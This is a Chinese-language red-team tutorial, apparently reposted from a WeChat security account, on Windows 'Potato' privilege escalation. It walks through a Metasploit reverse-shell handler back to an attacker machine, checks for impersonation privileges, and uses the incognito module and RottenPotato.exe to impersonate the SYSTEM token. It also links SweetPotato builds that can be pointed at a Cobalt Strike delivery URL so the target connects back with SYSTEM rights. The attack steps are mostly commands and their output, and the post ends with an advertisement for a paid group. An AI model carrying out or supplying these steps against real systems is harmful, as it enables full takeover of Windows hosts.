土豆攻击是在Windows中非常经典的提权攻击手段,土豆(Potato)系列包含多种不同的攻击方式,其利用不同的攻击原理与手段可以满足很多场景下的Windows提权攻击,目前土豆攻击的攻击家族基本囊括:烂土豆(Rotten Potato),热土豆(Hot Potato),孤独土豆(Lonely Potato),多汁土豆(Juicy Potato),淘气土豆(Rogue Potato),甜土豆(Sweet Potato)等等。今天这篇文章我们挑较有代表性的烂土豆和较为特别的甜土豆进行实操讲解,文中出现的所有工具及文件都已打包一键同步至文末的FreeBUF帮会(龙舌兰安全)中。
说起烂土豆的攻击原理,应该是在土豆系列中较为复杂的了,其主要通过欺骗NT AUTHORITYSYSTEM进行NTLM认证,然后借助NT AUTHORITYSYSTEM的安全令牌进行伪造。
具体过程如下(不理解也不影响实操):首先Windows中加载特定的实例函数,通过此函数再去加载指定的COM对象,加载完后COM对象会以SYSTEM权限向端口发送NTMLNegotiate包,进行NTML身份验证,但受攻击者控制的此端口对NTMLNegotiate数据包不作回复将此数据包转发给rpcss服务的端口135,135会把收到的两个数据包(Challenge包和AcceptSecurity Context函数的Challenge包)进行混合,去匹配协商,后将数据转发给BITS,BITS将此认证信息给AcceptSecurityContext函数响应,最后获取模拟令牌(使用ImpersonateSecuritContext函数)。
首先在msf中执行执行以下指令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost xxx.xxx.xx.xx ##攻击机ip
set lport 6666 ##木马回连端口
exploit ##开始
允许木马并获取目标机子权限:
在Msf或Cmd中执行命令确认是否满足土豆提权条件:
getprivs ## MSF
whoami /priv ## Cmd
MSF命令回显:
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
Cmd命令回显:
meterpreter > shell
Process 3728 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:>whoami /priv
whoami /priv
��Ȩ��Ϣ
----------------------
��Ȩ�� ���� ״
=============================== ========================== ======
SeIncreaseQuotaPrivilege Ϊ�������ڴ����� ������
SeSecurityPrivilege �������˺Ͱ�ȫ��־ ������
SeTakeOwnershipPrivilege ȡ���ļ�����������������Ȩ ������
SeLoadDriverPrivilege ���غ�ж���豸�������� ������
SeSystemProfilePrivilege �����ļ�ϵͳ���� ������
SeSystemtimePrivilege ����ϵͳʱ�� ������
SeProfileSingleProcessPrivilege �����ļ��������� ������
SeIncreaseBasePriorityPrivilege ���ƻ����ȼ� ������
SeCreatePagefilePrivilege ����һ��ҳ���ļ� ������
SeBackupPrivilege �����ļ���Ŀ¼ ������
SeRestorePrivilege ��ԭ�ļ���Ŀ¼ ������
SeShutdownPrivilege �ر�ϵͳ ������
SeDebugPrivilege ���Գ��� ������
SeSystemEnvironmentPrivilege ������ ������
SeChangeNotifyPrivilege �ƹ��������� ������
SeRemoteShutdownPrivilege ��Զ��ϵͳǿ�ƹػ� ������
SeUndockPrivilege ����չ����ȡ�¼����� ������
SeManageVolumePrivilege �о�ά������ ������
SeImpersonatePrivilege ��������ģ���ͻ��� ������
SeCreateGlobalPrivilege ����ȫ���� ������
SeIncreaseWorkingSetPrivilege ���ӽ������� ������
SeTimeZonePrivilege ����ʱ�� ������
SeCreateSymbolicLinkPrivilege ������������ ������
如果存在SeImpersonatePrivilege或者SeAssignPrimaryTokenPrivilege权限二者其一既满足土豆提权条件。
随后在Msf中执行以下命令加载内置的令牌模块:
meterpreter > load incognito
回显如下:
meterpreter > load incognito
Loading extension incognito...Success.
输入以下命令查询可以伪造的令牌:
list_tokens -u
回显如下:
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT AUTHORITYSYSTEM
WIN-992T47JBRG5Administrator
Impersonation Tokens Available
========================================
No tokens available
可以看到存在可伪造的SYSTEM令牌,那么如果不存在此令牌就要多走几步才能完成提权,首先下载此Github工具:
https://github.com/foxglovesec/RottenPotato
通过已获取的shell将RottenPotato.exe上传至目标机器后在Msf执行:
meterpreter > execute -cH -f rottenpotato.exe
最后在Msf执行伪造令牌命令:
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
回显如下:
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITYSYSTEM
最后查看当前用户权限:
meterpreter > getuid
回显如下(成功提权!):
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
讲解甜土豆攻击的原因是此攻击运用方式较为简单,且功能强大,但网上却讲解的人很少,所以花某打算拿来讲解。
实际上,甜土豆并非同烂土豆,热土豆一样是单个攻击的例子,甜土豆是多种土豆攻击的集合版,包括Pipe Potato,烂土豆,PetitPotam等等。
下载地址:
https://github.com/uknowsec/SweetPotato
下载完毕后上传至目标机器执行命令即可完成提权:
SweetPotato -a whoami
也有国内研究员做的可执行版本,可配合CS直接上线SYSTEM权限:
https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato
上线方法:
使用cs启动一个web攻击的简体
SweetPotato.exe www.xxx.com/xxx
各位师傅们,花某决定来Freebuf知识大陆运营帮会,打造一个网络安全技术资料百宝箱!帮会专注于网络安全领域,每周分享行业最新资讯和前沿学习资料,同时还会不定期分享渗透测试常用工具等实用资源。
分享的内容包括:
加入帮会,你可永久获得:
1. 各类网络安全攻防、CTF比赛信息、解题工具、技巧、书籍、靶场资源;
2. 攻防思维导图,0基础开启网络安全学习之路;
3. 社群:遇到任何技术题都可快速提问与讨论交流思路;
4. 个性化定制:你可以提出你需要的资源,我会专门为你寻找并提供;
5. 帮会无二次收费,仅仅收取9.9元门槛费(永久加入非年卡季卡),此帮会费会用来运营维护帮会(资源 收集也得需要成本)
原文始发于微信公众号(flower安全):黑客(红队)攻防Potato攻击-烂土豆与甜土豆
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论